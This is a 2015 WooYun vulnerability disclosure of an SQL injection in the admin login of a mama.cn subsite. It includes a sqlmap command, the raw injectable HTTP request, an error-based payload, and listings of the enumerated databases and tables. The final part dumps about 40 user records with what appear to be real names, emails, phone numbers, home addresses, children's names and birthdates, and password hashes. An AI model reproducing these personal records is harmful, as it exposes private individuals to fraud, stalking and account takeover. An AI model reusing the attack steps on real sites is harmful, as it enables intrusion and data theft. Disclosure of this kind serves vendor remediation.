当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0144575

漏洞标题:妈妈网分站sql注入(百万会员数据泄露)

相关厂商:妈妈网

漏洞作者: 小又又

提交时间:2015-10-03 09:28

修复时间:2015-11-21 21:06

公开时间:2015-11-21 21:06

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-03: 细节已通知厂商并且等待厂商处理中
2015-10-07: 厂商已经确认,细节仅向厂商公开
2015-10-17: 细节向核心白帽子及相关领域专家公开
2015-10-27: 细节向普通白帽子公开
2015-11-06: 细节向实习白帽子公开
2015-11-21: 细节向公众公开

简要描述:

绕过验证码注入~验证码形同虚设~

详细说明:

1.http://zt.mama.cn/admin/login.php post注入
2.

2.png


payload

python.exe sqlmap\sqlmap.py -r 1.txt --dbms=mysql --technique E -p username --suffix "#" --dbs -v 3


1.txt

POST /admin/login.php HTTP/1.1
Host: zt.mama.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: TRY_ID=b9d1857f2a1e063adac26a03dbdd747517338349
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 66
act=login&username=ab'&password=1234&captcha=7n5h&sm1=%B5%C7%C2%BC


3.直接上sqlmap

sqlmap identified the following injection points with a total of 2 HTTP(s) requests:
---
Place: POST
Parameter: username
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: act=login&username=ab' AND (SELECT 6717 FROM(SELECT COUNT(*),CONCAT(0x7170717171,(SELECT (CASE WHEN (6717=6717) THEN 1 ELSE 0 END)),0x716c6a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) #&password=1234&captcha=7n5h&sm1=%B5%C7%C2%BC
Vector: AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
---
web application technology: PHP 5.3.28
back-end DBMS: MySQL 5.0
available databases [7]:
[*] information_schema
[*] test
[*] try
[*] x
[*] x_new_zt
[*] zt
[*] zt2


Database: zt
+-------------------------------+---------+
| Table | Entries |
+-------------------------------+---------+
| zt_stempbabyvote | 2363803 |
| zt_pampersgs4_user | 573576 |
| zt_pampersgs4_votelog | 551739 |
| cdb_zt_optionvars | 263344 |
| zt_alluser | 92163 |
| cdb_zt_polllog | 80851 |
| zuizan_votes | 78937 |
| zt_polllog | 73027 |
| zt_pampers1204_tmp | 57643 |
| zt_dmz_result | 48996 |
| pre_common_district | 45051 |
| zt_walmart_users | 40492 |
| zt_pampersgs4_pic | 28677 |
| zt_pampers1204_log | 27354 |
| zt_upfile | 26499 |
| zt_pampers1204 | 21705 |
| zt_annilvote | 19799 |
| zt_gzshowkids_polllog | 18281 |
| zt_gzshowkids_comment | 18275 |
| zt_mamapoll_items | 12587 |
| zt_haiziwangvote | 11515 |
| zt_comment | 10133 |
| zt_jingzheng | 9074 |
| zt_vote | 8355 |
| zt_showkids_comment | 5269 |
| zt_showkids_polllog | 5168 |
| zt_mwdcvote2012 | 4698 |
| zt_mamapoll_user | 4074 |
| zt_etonkids | 3441 |
| zt_hqworldcup | 3257 |
| zt_huggies_letbabymove | 2513 |
| zt_pampers | 2231 |
| spe_lm_content | 2052 |
| zt_johnson_meilin_users | 2028 |
| zt_johnson | 1864 |
| zt_missmayvote | 1749 |
| zt_pampers1204_user | 1728 |
| zt_huishioptions | 1687 |
| z_three_love_letter | 1616 |
| zt_threadclick_task | 1610 |
| cdb_zt_project | 1607 |
| zt_gzshowkids_contact | 1546 |
| zt_tianyi_phone | 1538 |
| admin_sendpm | 1534 |
| zt_tao_extend | 1388 |
| zt_showkids_contact | 1333 |
| cdb_zt_applyfields | 1328 |
| zt_stempbaby | 1097 |
| zt_threadclick_thread | 1007 |
| zone_item | 960 |
| zt_mamaclub | 782 |
| zt_weibouser | 765 |
| zt_red_house_vote_log | 693 |
| zt_sms_user | 681 |
| zt_options | 624 |
| zt_walmart_userinfo | 615 |
| zt_annil2013 | 571 |
| baby_pic_yunmafengcaixiu_log | 517 |
| zt_mamapoll_extend | 481 |
| zt_friso_question | 439 |
| auto_comment | 416 |
| zt_sms_sign | 369 |
| zt_johnson_meilin_qa | 364 |
| spe_special_lm | 360 |
| zt_mwdc2012 | 360 |
| baby_pic_yunmafengcaixiu_test | 323 |
| cdb_zt_pollcount | 309 |
| cdb_zt_pollfields | 281 |
| zt_mamaclub2 | 274 |
| zt_dczhineng | 262 |
| zt_haier1208 | 260 |
| zt_huishi_content | 258 |
| zt_gzshowkids | 244 |
| zt_cron_comment_detail | 234 |
| auto_item | 231 |
| spe_sessions | 229 |
| zuizan_pic | 212 |
| zt_tao_option | 191 |
| zt_zhangguitong_shop | 178 |
| zt_haiziwang | 161 |
| zt_threadstick | 138 |
| zone_option | 137 |
| spe_tag | 124 |
| zt_huishi | 119 |
| zt_expert_zhuanjia | 106 |
| zt_yiqi | 105 |
| zt_missmay | 103 |
| zt_peier | 103 |
| zt_walmart_comment | 99 |
| zt_red_house_member | 94 |
| zt_ground_shop_zhuanjia | 77 |
| zt_showkids | 72 |
| baby_pic | 66 |
| spe_special | 63 |
| zt_baominguser | 59 |
| auto_info | 53 |
| zt_haoqioptions | 53 |
| zt_red_house_vote | 50 |
| cdb_zt_project_share | 44 |
| baby_pic_yunmafengcaixiu | 41 |
| zt_walmart_items | 37 |
| zt_tianyi | 32 |
| zt_zhangguitong_shopyouhui | 32 |
| zt_pampers_yuyue | 31 |
| earthsbest_admin_menu | 30 |
| zt_calendar | 30 |
| zone_website | 26 |
| zt_ground_shop_wenda | 21 |
| zt_haier1212 | 20 |
| auto_categories | 17 |
| earthsbest_ideas | 17 |
| zt_youhuiquan | 15 |
| zt_zhangguitong_tuangou | 15 |
| earthsbest_products | 14 |
| spe_category | 14 |
| poll_mama | 12 |
| earthsbest_admin_config | 10 |
| zt_threadstick_bak | 10 |
| zt_threadclick_items | 9 |
| zt_mwdc2012_comment | 8 |
| cdb_zt_lottery_log | 7 |
| z_three_note | 6 |
| zt_mama_cn_views | 5 |
| earthsbest_admin_config_group | 4 |
| zt_cron_comment | 4 |
| cdb_zt_lottery_item | 3 |
| earthsbest_admin_member | 3 |
| earthsbest_classify | 3 |
| earthsbest_focus | 3 |
| zt_sms_item | 3 |
| zt_threadclick_setting | 3 |
| cdb_zt_views | 2 |
| earthsbest_admin_member_group | 2 |
| nespraysmartmom | 2 |
| zt_hr | 2 |
| zt_threadclick_project | 2 |
| zt_zhangguitong_goodstype | 2 |
| cdb_zt_lottery | 1 |
| spe_admin | 1 |
| zt_expert_tuijian | 1 |
| zt_ground_shop_tuijian | 1 |
| zuizan_admin | 1 |
+-------------------------------+---------+


Database: zt2
+---------------------------------+---------+
| Table | Entries |
+---------------------------------+---------+
| zt_ppw_votelog | 308458 |
| zt_smith_praise_log | 288711 |
| zt_member | 269056 |
| zt_geniesse_mini_photo | 68156 |
| zt_ppw_chance | 58628 |
| zt_progeny_list | 51423 |
| zt_sport_log | 49753 |
| uc_common_district | 45121 |
| zt_ppw_vote_auto | 37976 |
| zt_pampers_sleep_declare | 37585 |
| zt_unclepop_list | 36884 |
| zt_unclepop_comment | 29350 |
| zt_ppw_user | 29329 |
| zt_zuimei_log | 28184 |
| zt_wap_common_member | 16834 |
| zt_wap | 16295 |
| zt_millionmama_diary_20150126 | 11737 |
| zt_expert_interview | 10353 |
| zt_heinz_jdticket | 10000 |
| zt_johnson_clicks | 9848 |
| zt_mday_votelog | 8992 |
| zt_millionmama_diary | 8582 |
| zt_millionmama_diary_20141225 | 8491 |
| zt_millionmama_diary_20150130 | 8452 |
| zt_fanmei_user | 7718 |
| zt_ppw_vote_error | 7637 |
| zt_heinz_lottery | 6581 |
| zt_pampers_minitwo_photo | 6409 |
| zt_huggies_pome_ticket_all | 5001 |
| zt_pampers_minitwo_photo_import | 4984 |
| zt_heinz_list | 4885 |
| zt_pampers_sleep_test | 4358 |
| zt_heinz_share | 4179 |
| zt_pampers_star_declare | 4027 |
| zt_heinz_ticket | 4000 |
| zt_mday_wish | 2684 |
| zt_ppw_prizeuser | 2665 |
| zt_pampers_minitwo_photo_praise | 2509 |
| zt_nongfu_info | 2461 |
| zt_task_add | 2183 |
| zt_timeline_th | 2106 |
| zt_weibo_add | 1956 |
| zt_au_thread_list | 1892 |
| zt_pg_member | 1801 |
| zt_fanmei_raise | 1728 |
| zt_millionmama_reply | 1552 |
| zt_tofer_comment | 1443 |
| zt_mday_image | 1409 |
| zt_huggies_wap_userinfo | 1374 |
| zt_yuanxiao_make | 1265 |
| zt_smith_image | 1249 |
| zt_taizijin_video | 1245 |
| zt_yst_userinfo | 1234 |
| zt_shopping_orders | 1120 |
| zt_johnson_group_dialy | 1119 |
| zt_yuanxiao_boil | 1079 |
| zt_pg_member_info | 1058 |
| zt_h5_pic | 978 |
| zt_pg_qrcode | 849 |
| zt_huggies_wap_thread_post | 814 |
| zt_friso_info_tel | 795 |
| zt_millionmama_question | 780 |
| zt_tj_beauty_list | 721 |
| zt_supernanny_applyinfo | 642 |
| zt_taizijin_lovehits | 567 |
| zt_yili_post | 538 |
| zt_unclepop_userinfo | 518 |
| zt_ppw_product | 501 |
| zt_huggies_mini5_tryinfo | 478 |
| zt_huggies_pome_thread_lucky | 470 |
| zt_session | 402 |
| zt_timeline_th_post | 393 |
| zt_lego_comment | 369 |
| zt_ppw_userchance | 359 |
| zt_zhenhu_test | 351 |
| zt_millionmama_diarynums | 347 |
| zt_engnice_smilelog | 344 |
| zt_liveroot_reply_img | 328 |
| zt_nutrilon_topic | 301 |
| zt_zhenhu_reply | 265 |
| zt_liveroot_reply | 220 |
| zt_zhenhu_wap_test | 214 |
| zt_kite_apply | 213 |
| zt_meeting_list | 201 |
| zt_lego_photo | 200 |
| zt_lego_share | 200 |
| zt_brandstar_userinfo | 186 |
| zt_ppw_praise | 185 |
| zt_yashili_apply | 178 |
| zt_zuimei_vote | 175 |
| zt_heinz_userinfo | 172 |
| zt_lego_survey | 164 |
| zt_lego_test | 164 |
| zt_mday_prizelog | 164 |
| zt_comment | 161 |
| zt_wap_brandlist | 155 |
| zt_sport_picture | 154 |
| zt_smith_member | 125 |
| zt_au_video | 114 |
| zt_millionmama_signin | 94 |
| zt_ztadmin_menu | 89 |
| zt_ztadmin_list | 87 |
| zt_johnson_group_video | 81 |
| zt_pg_survey | 72 |
| zt_engnice_content | 68 |
| zt_ppw_brand | 68 |
| zt_wanke_common | 67 |
| zt_youkadan_praise_list | 67 |
| zt_ppw_prize | 64 |
| zt_huggies_pome_user_ticket | 63 |
| zt_millionmama_content | 62 |
| zt_smith_testimony | 59 |
| zt_spring_photo | 59 |
| zt_engnice_member | 51 |
| zt_wyethshop_level | 49 |
| zt_womenday_list | 47 |
| zt_engnice_weeklog | 46 |
| zt_shopping_praises | 41 |
| zt_au_edition_option | 38 |
| zt_shopping_shares | 38 |
| zt_au_edition | 37 |
| zt_au_pic | 36 |
| zt_au_talk_title | 33 |
| zt_pollenin_glue_page | 33 |
| zt_wfj_list | 33 |
| zt_engnice_lucklog | 32 |
| zt_admin_dmz | 31 |
| zt_huggies_add | 31 |
| zt_nutrilon_reply | 31 |
| zt_preglove_medal | 29 |
| zt_sport_video | 27 |
| zt_yuanxiao_share | 26 |
| zt_hababy_sum | 25 |
| zt_yili_photo | 25 |
| zt_zaojiao_push | 24 |
| zt_dadcomeback_form | 23 |
| zt_yili_reply | 19 |
| zt_youkadan_list | 19 |
| zt_ppw_media | 15 |
| zt_wyethshop_item | 15 |
| zt_topic_pk_reply | 14 |
| zt_youkadan_offline | 13 |
| zt_tj_beauty_vote | 12 |
| zt_dmz_weibo_ip | 11 |
| zt_huggies_wap_thread_list | 11 |
| zt_elsker_photo | 10 |
| zt_ppw_admin_user | 9 |
| zt_mday_wishset | 8 |
| zt_preglove_welfare | 8 |
| zt_wyethshop_push | 8 |
| zt_yili_userinfo | 8 |
| zt_fanmei_lottery | 7 |
| zt_fanmei_luck | 7 |
| zt_ppw_activity | 7 |
| zt_mday_prize | 6 |
| zt_fanmei_wintime | 5 |
| zt_liveroot | 5 |
| zt_ppw_try | 5 |
| zt_unclepop_vote | 5 |
| zt_yili_city_post | 5 |
| zt_jinchen | 4 |
| zt_lego_praise | 4 |
| zt_ppw_code | 4 |
| zt_topic_pk_vote | 4 |
| zt_youkadan_show | 4 |
| zt_heinz_praise | 3 |
| zt_mamalovebrand | 3 |
| zt_pg_tips | 3 |
| zt_common_col_vote | 2 |
| zt_heinz_log | 2 |
| zt_kasadi_userinfo | 2 |
| zt_pg_activity | 2 |
| zt_pg_community | 2 |
| zt_tianjianshangcheng | 2 |
| zt_elsker_praise | 1 |
| zt_h5_gift | 1 |
| zt_huggies_mini5_trynum | 1 |
| zt_huggies_mini_two | 1 |
| zt_huggies_pome_praise | 1 |
| zt_pampers_sleep_num | 1 |
| zt_pampers_star_num | 1 |
| zt_pg_focus_activity | 1 |
| zt_pg_newproduct | 1 |
| zt_pg_welfare_notice | 1 |
| zt_timeline_praise | 1 |
| zt_topic_pk | 1 |
| zt_yili_praise | 1 |
+---------------------------------+---------+


Database: try
+-----------------------+---------+
| Table | Entries |
+-----------------------+---------+
| syw_apply | 1611588 |
| syw_user | 1429806 |
| syw_optionvars | 1048824 |
| syw_user_fields | 1035911 |
| syw_pms | 294607 |
| syw_report_attachment | 167490 |
| syw_report | 111818 |
| syw_area | 45035 |
| syw_medal | 40382 |
| syw_brand_report | 39144 |
| syw_comment | 32191 |
| syw_user_report | 28116 |
| syw_blacklist | 22417 |
| syw_report_comment | 10831 |
| syw_qqbindlog | 8023 |
| syw_response | 7736 |
| syw_huggies_old_apply | 5987 |
| syw_medallog | 5676 |
| syw_customer | 4560 |
| syw_comment_result | 4529 |
| syw_zq | 2380 |
| syw_zq_banner | 2233 |
| syw_activity_baby_age | 695 |
| syw_activity | 693 |
| syw_brand | 336 |
| syw_activity_bak | 331 |
| syw_zq_activity | 315 |
| syw_links | 292 |
| syw_report_forum_log | 292 |
| syw_activity_template | 270 |
| syw_promotion | 229 |
| syw_brand_bak | 221 |
| syw_notice | 207 |
| syw_report_forum_mark | 205 |
| syw_report_post | 166 |
| syw_focus | 138 |
| syw_zq_report | 121 |
| syw_activity_post | 42 |
| syw_syscache | 38 |
| syw_category | 15 |
| syw_brand_fetures | 13 |
| syw_summary | 8 |
| syw_user_chance | 6 |
| syw_user_invite | 6 |
| spe_admin | 3 |
| syw_admin | 3 |
| syw_sessions | 3 |
| syw_data | 1 |
+-----------------------+---------+


4.随便取了个用户表

+-----+---------+------------+-------------+-------------+-------------------------+-------------+---------+--------+---------+---------+---------------------------+---------+----------+----------------------------------+----------+----------+-----------------------------+------------------+------------+------------+-----------+------------+------------+-------------+-------------+
| id | city_id | discuz_uid | province_id | district_id | email | phone | handle | from | zipcode | updates | address | credits | baby_sex | password | is_start | is_daren | username | realname | add_time | lastvisit | baby_name | baby_birth | babystatus | active_time | update_time |
+-----+---------+------------+-------------+-------------+-------------------------+-------------+---------+--------+---------+---------+---------------------------+---------+----------+----------------------------------+----------+----------+-----------------------------+------------------+------------+------------+-----------+------------+------------+-------------+-------------+
| 261 | 455 | 98697 | 20 | 0 | i__love__u@163.com | 18688874027 | <blank> | ŐžśĚ | 510600 | 1 | 天河区车陂路南国嘉园苹果城c栋2404 | 580 | 0 | e10adc3949ba59abbe56e057f20f883e | 1 | 0 | lpxw | 李燕 | 1402885032 | 1436263225 | <blank> | 2013-09-30 | 2 | 1402885032 | 0 |
| 262 | 455 | 3637728 | 20 | 0 | mengziteng_520@163.com | 15362920925 | <blank> | ŐžśĚ | 510660 | 0 | 天河区车陂路 | 2335 | 0 | e10adc3949ba59abbe56e057f20f883e | 1 | 0 | šŤ\xcbď\xc2Ě\xddŕ | 李燕 | 1402885032 | 1442365411 | <blank> | 0000-00-00 | 0 | 1402885032 | 0 |
| 263 | 455 | 291084 | 20 | 0 | gddc1@126.com | 13580523500 | <blank> | ŐžśĚ | 510240 | 0 | 广州市宝岗大道263号蓝宝大厦北塔823 | 270 | 2 | e10adc3949ba59abbe56e057f20f883e | 1 | 0 | maggietan2001 | 檀小红 | 1402885032 | 1387774844 | ˫˫ | 2007-10-21 | 0 | 1402885032 | 0 |
| 264 | 455 | 5249727 | 20 | 0 | godlovemusic5@sohu.com | 15018706603 | <blank> | ŐžśĚ | 510632 | 0 | <blank> | 100 | 0 | e10adc3949ba59abbe56e057f20f883e | 1 | 0 | 熊宝贝一家 | \xc1őĐŔ | 1402885032 | 1305432068 | <blank> | 2011-12-07 | 0 | 1402885032 | 0 |
| 265 | 455 | 5400609 | 20 | 0 | babyyt@126.com | 02062219022 | <blank> | ŐžśĚ | 510000 | 0 | 天河区建工路12号 | 125 | 0 | e10adc3949ba59abbe56e057f20f883e | 1 | 0 | eybaby | 易小贝 | 1402885032 | 1294207320 | <blank> | 0000-00-00 | 0 | 1402885032 | 0 |
| 266 | 455 | 59044 | 20 | 0 | yoyowangyu@walch.net.cn | 15920363744 | <blank> | ŐžśĚ | 517000 | 0 | 天河路228-1号广晟大厦26楼 | 30 | 1 | e10adc3949ba59abbe56e057f20f883e | 1 | 0 | yoyoxinzi | 王宇 | 1402885032 | 1316154794 | นินิอร | 2011-10-02 | 0 | 1402885032 | 0 |
| 267 | 0 | 5225438 | 0 | 0 | <blank> | 0 | <blank> | ŐžśĚ | 0 | 0 | <blank> | 10 | 0 | e10adc3949ba59abbe56e057f20f883e | 0 | 0 | 大然然 | <blank> | 1402885032 | 1291597787 | <blank> | 0000-00-00 | 0 | 1402885032 | 0 |
| 268 | 455 | 5215079 | 20 | 0 | urbanekk@163.com | 13560063673 | <blank> | ŐžśĚ | 000000 | 0 | 车陂北路广氮新村零建3栋211 | 295 | 0 | e10adc3949ba59abbe56e057f20f883e | 1 | 0 | urbanekk | \xd6ěŔńąň | 1402885032 | 1328835929 | <blank> | 0000-00-00 | 0 | 1402885032 | 0 |
| 269 | 71 | 5423884 | 1 | 0 | xusancai@hotmail.com | 13511080215 | <blank> | ŐžśĚ | 101101 | 0 | žĹżĂĘ\xf7 | 45 | 1 | e10adc3949ba59abbe56e057f20f883e | 1 | 0 | \xd4Đ\xceś\xd4ĐĆ\xdaż\xceĚĂ | liuyan0624 | 1402885032 | 1299220796 | ƤƤ | 2010-04-10 | 0 | 1402885032 | 0 |
| 270 | 0 | 2961444 | 0 | 0 | <blank> | 0 | <blank> | ŐžśĚ | 0 | 0 | <blank> | 10 | 0 | e10adc3949ba59abbe56e057f20f883e | 0 | 0 | 妈网总舵主 | <blank> | 1402885032 | 1291598396 | <blank> | 0000-00-00 | 0 | 1402885032 | 0 |
| 271 | 71 | 3944300 | 1 | 0 | renzone@vip.sina.com | 13911020977 | <blank> | ŐžśĚ | 100039 | 0 | 海淀区太平路甲25号3-1-1804 | 130 | 1 | e10adc3949ba59abbe56e057f20f883e | 1 | 0 | \\?cf\\?e3白白 | 任蓓 | 1402885032 | 1311673301 | \xc2ŔźŃĺˇ | 2009-12-22 | 0 | 1402885032 | 0 |
| 272 | 462 | 3816247 | 20 | 0 | 279595614@qq.com | 13590005728 | <blank> | ŐžśĚ | 524000 | 0 | 霞山区海宁路海宁小区53栋802房 | 150 | 1 | e10adc3949ba59abbe56e057f20f883e | 1 | 0 | vanya | ТогЂ | 1402885032 | 1439968735 | ԲԲ | 2008-10-30 | 0 | 1402885032 | 0 |
| 273 | 65 | 5115031 | 1 | 0 | mingji.c@gmail.com | 13910329436 | <blank> | ŐžśĚ | 100022 | 0 | SOHO现代城D座1211室 | 310 | 1 | e10adc3949ba59abbe56e057f20f883e | 1 | 0 | 明日月 | 崔明姬 | 1402885032 | 1315570171 | 崔小明 | 2008-08-20 | 0 | 1402885032 | 0 |
| 274 | 455 | 404819 | 20 | 0 | 1186109857@qq.com | 13631447151 | <blank> | ŐžśĚ | 510000 | 1 | 白云区广州大道北同和云苑新村20栋403房 | 1360 | 1 | e10adc3949ba59abbe56e057f20f883e | 1 | 0 | deanliu | Αυ\xb6\xa6Θ\\?aa | 1402885032 | 1395133951 | ĺˇ\xeeŁ | 2011-09-06 | 1 | 1402885032 | 0 |
| 275 | 0 | 3857526 | 0 | 0 | <blank> | 0 | <blank> | ŐžśĚ | 0 | 0 | <blank> | 10 | 0 | e10adc3949ba59abbe56e057f20f883e | 0 | 0 | pulok | <blank> | 1402885032 | 1291600044 | <blank> | 0000-00-00 | 0 | 1402885032 | 0 |
| 276 | 455 | 3786527 | 20 | 0 | 405913270@qq.com | 15854138520 | <blank> | ŐžśĚ | 250000 | 1 | 历城区涵源大街牛旺小区6号楼3单元101室 | 1535 | 2 | e10adc3949ba59abbe56e057f20f883e | 1 | 0 | xiaorong919 | 马欣 | 1402885032 | 1398674464 | 可乐 | 2012-12-01 | 1 | 1402885032 | 0 |
| 277 | 455 | 170460 | 20 | 0 | michellehrj@163.com | 18675973329 | <blank> | ŐžśĚ | 510000 | 0 | 番禺区 | 3670 | 0 | e10adc3949ba59abbe56e057f20f883e | 1 | 0 | eliang | mingming | 1402885032 | 1442537071 | <blank> | 0000-00-00 | 0 | 1402885032 | 0 |
| 278 | 455 | 3526784 | 20 | 0 | tjyi502@hotmail.com | 13678933100 | <blank> | ŐžśĚ | 510405 | 0 | 广园路景泰西一巷4号803 | 145 | 1 | e10adc3949ba59abbe56e057f20f883e | 1 | 0 | Jenny803 | 严月卿 | 1402885032 | 1335490479 | 谌昱均 | 2010-05-16 | 0 | 1402885032 | 0 |
| 279 | 455 | 382333 | 20 | 0 | pololishan@163.com | 13533060584 | <blank> | ŐžśĚ | 510375 | 0 | 荔湾区东教南路芳村花园12号3008房 | 175 | 1 | e10adc3949ba59abbe56e057f20f883e | 1 | 0 | pololishan | 李珊 | 1402885032 | 1414415153 | 骆天恩 | 2011-04-08 | 0 | 1402885032 | 0 |
| 280 | 0 | 3517504 | 0 | 0 | <blank> | 0 | <blank> | ŐžśĚ | 0 | 0 | <blank> | 10 | 0 | e10adc3949ba59abbe56e057f20f883e | 0 | 0 | Ă\xa8Ă\xb4ąŚą\xb4 | <blank> | 1402885032 | 1291600527 | <blank> | 0000-00-00 | 0 | 1402885032 | 0 |
| 281 | 455 | 4150647 | 20 | 0 | 825866339@qq.com | 13416414165 | <blank> | ŐžśĚ | 510430 | 0 | 白云区石井镇石潭西路百忍里44号603 | 35 | 0 | e10adc3949ba59abbe56e057f20f883e | 1 | 0 | SHANGHU | 燮需⑤ | 1402885032 | 1303797185 | <blank> | 0000-00-00 | 0 | 1402885032 | 0 |
| 282 | 460 | 300883 | 20 | 0 | cc0380@126.com | 13929191866 | <blank> | ŐžśĚ | 528313 | 0 | 顺德陈村镇政府 | 220 | 2 | e10adc3949ba59abbe56e057f20f883e | 1 | 0 | 快乐小天6 | 陈家茵 | 1402885032 | 1387249027 | Сѕгъ | 2008-08-01 | 0 | 1402885032 | 0 |
| 283 | 0 | 336583 | 0 | 0 | <blank> | 0 | <blank> | ŐžśĚ | 0 | 0 | <blank> | 10 | 0 | e10adc3949ba59abbe56e057f20f883e | 0 | 0 | winneluck | <blank> | 1402885032 | 1291600772 | <blank> | 0000-00-00 | 0 | 1402885032 | 0 |
| 284 | 0 | 344258 | 0 | 0 | <blank> | 0 | <blank> | ŐžśĚ | 0 | 0 | <blank> | 10 | 0 | e10adc3949ba59abbe56e057f20f883e | 0 | 0 | mamaloveyou | <blank> | 1402885032 | 1291600774 | <blank> | 0000-00-00 | 0 | 1402885032 | 0 |
| 285 | 0 | 5201743 | 0 | 0 | <blank> | 0 | <blank> | ŐžśĚ | 0 | 0 | <blank> | 10 | 0 | e10adc3949ba59abbe56e057f20f883e | 0 | 0 | 弄月 | <blank> | 1402885032 | 1291600808 | <blank> | 0000-00-00 | 0 | 1402885032 | 0 |
| 286 | 0 | 121251 | 0 | 0 | <blank> | 0 | <blank> | ŐžśĚ | 0 | 0 | <blank> | 10 | 0 | e10adc3949ba59abbe56e057f20f883e | 0 | 0 | llzzjj009 | <blank> | 1402885032 | 1291600825 | <blank> | 0000-00-00 | 0 | 1402885032 | 0 |
| 287 | 460 | 3053657 | 20 | 0 | zqlushan@163.com | 15013281268 | <blank> | ŐžśĚ | 510620 | 1 | 顺德碧桂园中北一路一座301 | 45 | 1 | e10adc3949ba59abbe56e057f20f883e | 1 | 0 | 我爱芝士蛋糕 | \xacɺ | 1402885032 | 1383789636 | 包包 | 2012-06-04 | 1 | 1402885032 | 0 |
| 288 | 455 | 139428 | 20 | 0 | eeljzhou@sina.com | 13922201336 | <blank> | ŐžśĚ | 510623 | 0 | 珠江新城珠江西路11号全球通大厦33楼 | 140 | 1 | e10adc3949ba59abbe56e057f20f883e | 1 | 0 | eeljzhou | 周璐洁 | 1402885032 | 1431482700 | 王鑫周 | 2009-01-12 | 0 | 1402885032 | 0 |
| 289 | 455 | 4126724 | 20 | 0 | 9660756@qq.com | 13922773255 | <blank> | ŐžśĚ | 510620 | 0 | 天河区天河路228号广晟大厦2706 | 175 | 0 | e10adc3949ba59abbe56e057f20f883e | 1 | 0 | mochou | 陈亚飞 | 1402885032 | 1311822219 | <blank> | 0000-00-00 | 0 | 1402885032 | 0 |
| 290 | 455 | 107955 | 20 | 0 | pczt01@163.COM | 15360500089 | <blank> | ŐžśĚ | 510407 | 0 | 广州市白云区石井朝阳村华阳路13号2楼 | 130 | 2 | e10adc3949ba59abbe56e057f20f883e | 1 | 0 | hmpro | \xce\xe2Ćź\xd3˘ | 1402885032 | 1395979028 | 부티티 | 2009-12-16 | 0 | 1402885032 | 0 |
| 291 | 455 | 27902 | 20 | 0 | sallywang214@163.com | 13826275169 | <blank> | ŐžśĚ | 510660 | 0 | 天河区东圃美林湖畔花园49栋401 | 305 | 2 | e10adc3949ba59abbe56e057f20f883e | 1 | 0 | 天使羽翼 | 王玉 | 1402885032 | 1335844597 | 张思嘉 | 2008-11-24 | 0 | 1402885032 | 0 |
| 292 | 455 | 59680 | 20 | 0 | 118153175@qq.com | 15918447947 | <blank> | ŐžśĚ | 510070 | 0 | 天河区棠东东南路 | 0 | 1 | e10adc3949ba59abbe56e057f20f883e | 1 | 0 | 雨中荷花 | Сжембр | 1402885032 | 1324612554 | 达达 | 2011-03-05 | 0 | 1402885032 | 0 |
| 293 | 0 | 5238542 | 0 | 0 | <blank> | 0 | <blank> | ŐžśĚ | 0 | 0 | <blank> | 10 | 0 | e10adc3949ba59abbe56e057f20f883e | 0 | 0 | 花语轩 | <blank> | 1402885032 | 1291601020 | <blank> | 0000-00-00 | 0 | 1402885032 | 0 |
| 294 | 465 | 4071062 | 20 | 0 | 312907055@QQ.com | 13925130421 | <blank> | ŐžśĚ | 516000 | 0 | 惠城区曼哈顿603 | 60 | 1 | e10adc3949ba59abbe56e057f20f883e | 1 | 0 | 親財第第 | \xd3ŕČđćĂ | 1402885032 | 1380514567 | кн\xa9ф╢о | 2008-04-16 | 1 | 1402885032 | 0 |
| 295 | 460 | 3547469 | 20 | 0 | runling_2000@163.com | 13531377946 | <blank> | ŐžśĚ | 528300 | 0 | 顺德区大良街道顺番公路五沙段28号 | 115 | 2 | e10adc3949ba59abbe56e057f20f883e | 1 | 0 | shirelyguo | 川非早 | 1402885032 | 1339576159 | єщич”д | 2009-06-30 | 0 | 1402885032 | 0 |
| 296 | 461 | 129750 | 20 | 0 | zhaojiabao886@163.com | 13652743953 | <blank> | ŐžśĚ | 529142 | 0 | 新会区三江镇三江初级中学 | 70 | 1 | e10adc3949ba59abbe56e057f20f883e | 1 | 0 | 573814385 | 孕社右 | 1402885032 | 1431591130 | 林新颢 | 2004-08-18 | 0 | 1402885032 | 0 |
| 297 | 485 | 3697117 | 20 | 0 | chenrong456@21cn.com | 13728786583 | <blank> | ŐžśĚ | 513000 | 0 | 东莞市南城区莞太南路晶城小区2号楼504 | 50 | 1 | e10adc3949ba59abbe56e057f20f883e | 1 | 0 | 102963643 | ł\xc2ČŘ | 1402885032 | 1399641699 | 刘点点 | 2008-09-29 | 0 | 1402885032 | 0 |
| 298 | 455 | 3624253 | 20 | 3153 | hp23816@163.com | 13676261280 | <blank> | ŐžśĚ | 510000 | 0 | 福场路富力金禧花园A2栋2005 | -80 | 2 | e10adc3949ba59abbe56e057f20f883e | 1 | 0 | hp23816 | 李珈琳 | 1402885032 | 1415329880 | 崠彃 | 2010-05-30 | 0 | 1402885032 | 0 |
| 299 | 455 | 311478 | 20 | 0 | dodo-dodo@21cn.com | 13533150875 | <blank> | ŐžśĚ | 510285 | 0 | 昌岗西南边一约9号504 | 105 | 1 | e10adc3949ba59abbe56e057f20f883e | 1 | 0 | jessica09 | 陈利 | 1402885032 | 1343488147 | 恲鰜栠 | 2006-05-16 | 0 | 1402885032 | 0 |
| 300 | 455 | 91880 | 20 | 3157 | flowercandy@126.com | 13802833186 | <blank> | ŐžśĚ | 510600 | 0 | \xc2Ť\xddś˝\xd6207şĹ407ˇż | 2210 | 1 | e10adc3949ba59abbe56e057f20f883e | 1 | 0 | candypan | 潘秀华 | 1402885032 | 1432264566 | 张峻瑞 | 2010-05-29 | 1 | 1402885032 | 1426682904 |
